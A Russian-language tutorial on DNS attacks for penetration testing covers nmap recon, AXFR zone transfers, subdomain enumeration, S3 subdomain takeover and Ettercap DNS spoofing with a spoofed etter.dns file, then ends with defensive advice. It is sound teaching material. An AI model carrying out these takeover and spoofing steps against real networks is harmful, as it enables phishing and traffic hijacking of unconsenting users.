Атаки на DNS: уязвимости и защита

Внимание! Информация, представленная в данной статье предоставляется исключительно в образовательных целях. Мы не поддерживаем и не поощряем незаконные действия. Вся ответственность за использование представленной информации лежит на пользователе.

В этой статье мы рассмотрим различные аспекты атак на DNS, а также разберём, как хакеры могут использовать уязвимости для получения несанкционированного доступа или искажения информации. DNS является одной из критически важных служб в сети, поскольку именно она отвечает за преобразование доменных имён в IP-адреса. При неправильной конфигурации DNS могут открываться широкие возможности для атак. Ниже мы детально рассмотрим методы разведки, осуществления зонного трансфера, перехвата домена и других потенциальных угроз, а также обсудим, как эти угрозы можно использовать в рамках тестирования на проникновение.

Обзор протокола DNS

Система доменных имён (DNS) обеспечивает преобразование доменных имён (например, example.ru) в числовые IP-адреса (например, 104.17.99.99). По умолчанию служба использует UDP/53, но при необходимости (например, при слишком большом размере пакета) задействуется TCP/53. Поскольку практически все сетевые приложения так или иначе используют DNS, атаки на DNS-серверы являются одними из самых распространённых и опасных в современном мире кибербезопасности.

Первый этап: Перечень и разведка (Enumeration)

DNS может содержать полезные сведения об инфраструктуре организации: внутренние и внешние сервисы, поставщики услуг (например, почтовых) и т.д. Для первоначального этапа тестирования на проникновение часто применяют инструменты вроде Nmap. Сканирование с помощью Nmap с ключами -sC (стандартные скрипты) и -sV (определение версий служб) даёт общий обзор конфигурации DNS-сервера:

anna@corp[/corp]# nmap -p53 -Pn -sV -sC 10.10.111.213

Starting Nmap 7.80 (здесь могла быть удалённая ссылка на дистрибутив Nmap) at 2025-03-27 03:47 EDT
Nmap scan report for 10.10.111.213
Host is up (0.017s latency).

PORT    STATE  SERVICE     VERSION
53/tcp  open   domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)

Зонный трансфер DNS (DNS Zone Transfer)

Зонный трансфер — это механизм копирования части базы DNS (зоны) с одного сервера на другой. При неправильной настройке (когда не ограничен список IP-адресов, которым разрешён трансфер) злоумышленник может запросить и получить копию зоны, узнав важные сведения о DNS-пространстве цели. Несмотря на то, что DNS обычно работает поверх UDP, для надёжной передачи больших объёмов данных (зонного трансфера) используется TCP.

Уязвимость зоны DNS-трансфера позволяет узнать массу технических подробностей о внутренней структуре компании. Для эксплуатации часто применяют утилиту dig c опцией AXFR, позволяющей выгрузить содержимое зоны:

anna@corp[/corp]# dig AXFR @ns1.corpinternal.net corpinternal.net

; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr corpinternal.net @10.10.111.213
;; global options: +cmd
corpinternal.net.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
corpinternal.net.         604800  IN      AAAA    ::1
corpinternal.net.         604800  IN      NS      localhost.
corpinternal.net.         604800  IN      A       10.10.111.22
admin.corpinternal.net.   604800  IN      A       10.10.111.21
hr.corpinternal.net.      604800  IN      A       10.10.111.25
support.corpinternal.net. 604800  IN      A       10.10.111.28
corpinternal.net.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.10.111.213#53(10.10.111.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2025
;; XFR size: 8 records (messages 1, bytes 289)

Другой инструмент — Fierce — может сканировать корневой домен, перечислять все DNS-серверы и проверять, открыт ли у них зонный трансфер. Например:

anna@corp[/corp]# fierce --domain zonetransfer.local

(Пример вырезан для краткости; ссылки на внешние сайты здесь убраны.)

Перехват доменов и поддоменов (Domain & Subdomain Takeover)

Перехват домена (Domain Takeover) — это процесс регистрации освободившегося доменного имени, ранее принадлежащего другой организации. Если злоумышленнику удаётся найти домен, срок владения которым истёк, он может заново зарегистрировать его и использовать для фишинга или размещения вредоносного контента.

Подобный принцип работает и для поддоменов — Subdomain Takeover. Обычно для этого используется DNS-запись типа CNAME, указывающая на внешний сервис (например, облачные хранилища, CDN и т.д.). Если внешний ресурс более не активен или удалён, а запись CNAME осталась в DNS, злоумышленник может зарегистрировать этот ресурс и получить контроль над поддоменом.

Иллюстрация (ASCII-графика)

┌─────────────────────────────────────┐
│ sub.target.com.   IN   CNAME       │
│                        someexpired │
│                        domain.com  │
└─────────────────────────────────────┘

Если someexpireddomain.com свободен,
злоумышленник регистрирует его →
получает контроль над sub.target.com!

Поиск поддоменов (Subdomain Enumeration)

Чтобы проверить возможность Subdomain Takeover, сначала проводят перечисление поддоменов целевого домена. Используют инструменты вроде Subfinder, который собирает данные из открытых источников (DNSdumpster и т.п.). Другой вариант — Sublist3r, способный перебирать поддомены по словарю:

anna@corp[/corp]# ./subfinder -d corpinternal.com -v
                                                                        
        _     __ _         _                                           
____  _| |__ / _(_)_ _  __| |___ _ _          
(_-< || | '_ \  _| | ' \/ _  / -_) '_|                 
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5            
             projectdiscovery.io

[INF] Enumerating subdomains for corpinternal.com
[alienvault] www.corpinternal.com
[dnsdumpster] ns1.corpinternal.com
[dnsdumpster] ns2.corpinternal.com
...snip...
[bufferover] Source took 2.193235338s for enumeration
ns2.corpinternal.com
www.corpinternal.com
ns1.corpinternal.com
support.corpinternal.com
[INF] Found 4 subdomains for corpinternal.com in 20 seconds 11 milliseconds

При тестах внутри корпоративной сети или при ограничениях доступа к Интернету можно использовать Subbrute, указывая собственные DNS-резолверы и словари.

Пример Subbrute

anna@corp[/corp]$ git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
anna@corp[/corp]$ cd subbrute
anna@corp[/corp]$ echo "ns1.corpinternal.com" > ./resolvers.txt
anna@corp[/corp]$ ./subbrute corpinternal.com -s ./names.txt -r ./resolvers.txt

Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
corpinternal.com
ns2.corpinternal.com
www.corpinternal.com
ms1.corpinternal.com
support.corpinternal.com

(Часть вывода опущена.)

Предположим, мы нашли несколько поддоменов. С помощью nslookup или host проверяем, куда они указывают:

anna@corp[/corp]# host support.corpinternal.com

support.corpinternal.com is an alias for corpinternal.s3.amazonaws.com

Если по адресу https://support.corpinternal.com мы видим ошибку «NoSuchBucket», это означает, что поддомен «свободен» и подвержен Subdomain Takeover. Достаточно создать в Amazon S3 bucket с именем support.corpinternal.com, чтобы взять этот поддомен под контроль.

Существует репозиторий can-i-take-over-xyz (его легко найти на GitHub), где перечислены популярные сервисы и критерии, по которым можно определить уязвимость поддоменов к перехвату.

Подмена DNS (DNS Spoofing)

DNS Spoofing (он же DNS Cache Poisoning) — это атака, в которой «отравляются» записи DNS, перенаправляя пользователей с легитимного ресурса на фальшивый. Основные векторы:

Man-in-the-Middle (MITM): злоумышленник перехватывает трафик между пользователем и DNS-сервером, подменяя ответы.
Уязвимости на самом DNS-сервере, позволяющие изменить DNS-записи.

Локальное отравление DNS-кэша (Local DNS Cache Poisoning)

В локальной сети злоумышленник может применять Ettercap или Bettercap для MITM-атаки. На примере Ettercap:

Правим файл /etc/ettercap/etter.dns, указывая нужные подмены (домен → IP-адрес атакующего):
```
anna@corp[/corp]# cat /etc/ettercap/etter.dns

corpinternal.com      A   192.168.50.50
*.corpinternal.com    A   192.168.50.50
```
Запускаем Ettercap и сканируем хосты: Hosts > Scan for Hosts.
- Target1: IP жертвы (192.168.50.25)
- Target2: Шлюз (192.168.50.1)
Активируем плагин dns_spoof: Plugins > Manage Plugins. Ettercap начнёт рассылать ложные DNS-ответы.

Когда пользователь с машины 192.168.50.25 зайдёт на corpinternal.com, он попадёт не на легитимный сервер, а на IP 192.168.50.50, где атакующий может разместить фальшивый сайт:

C:\>ping corpinternal.com

Pinging corpinternal.com [192.168.50.50] with 32 bytes of data:
Reply from 192.168.50.50: bytes=32 time<1ms TTL=64
...

Другие варианты атак и заключение по DNS

Приведённые примеры — лишь малая часть возможных атак, связанных с DNS. В реальности существуют и более сложные сценарии. Однако даже эти базовые методы (зонный трансфер, перехват субдоменов, подмена DNS) позволяют получить ценные данные о целевой инфраструктуре или обмануть пользователей.

Многие организации случайно оставляют в DNS-сводках старые записи, указывающие на уже неиспользуемые домены третьих сторон (облачные сервисы, CDN и др.). Это особенно актуально для крупных корпораций и компаний электронной коммерции. Исследование RedHuntLabs, проведённое в одном из предыдущих лет, показало, что среди миллионов изученных поддоменов существенная часть была уязвима для перехвата (Subdomain Takeover). Это открывает возможности для фишинга, кражи сессионных данных, обхода политик безопасности и прочих злоумышленных действий.

Одна из самых опасных сторон Subdomain Takeover — возможность незаметного фишинга под видом настоящего домена компании. Пользователи видят в ссылке «официальное» доменное имя (например, customer-drive.corpinternal.com), но на самом деле оно управляется злоумышленником. Подобные кейсы часто приносят исследователям высокие награды на платформах по поиску уязвимостей, так как риск для компании чрезвычайно велик.

Схема атаки (ASCII)

┌─────────────────────────────┐
│ CNAME (привязка поддомена) │
│      ↓ (внешний сервис)     │
└─────────────────────────────┘
             ↓
    [Сервис удален / неактивен]
             ↓
Злоумышленник регистрирует этот
   освободившийся ресурс
             ↓
   Полный контроль над
   поддоменом компании

В заключение:

В рамках тестирования на проникновение важно уделять повышенное внимание корректной настройке DNS, поскольку от этого напрямую зависит безопасность всей сетевой инфраструктуры. Ошибки в конфигурации DNS, открытый зонный трансфер, «забытые» поддомены, указывающие на неактивные внешние сервисы, и некорректные записи могут позволить злоумышленникам существенно расширить атакующую поверхность.

Проверяйте доступность зонного трансфера: ограничьте круг IP, которым разрешён трансфер.
Регулярно аудитируйте DNS-записи: удаляйте лишние или устаревшие CNAME/AAAA/ A/MX-записи.
Следите за доменами и поддоменами: вовремя продлевайте регистрацию доменных имён и проверяйте, указывают ли они на актуальные сервисы.
Обновляйте ПО DNS-серверов: закрывайте известные уязвимости и устанавливайте последние патчи.

Грамотная защита DNS — одна из важнейших задач информационной безопасности любой организации. Надеемся, что данный материал поможет системным администраторам, инженерам по безопасности и исследователям выявлять уязвимости и своевременно принимать меры для их устранения.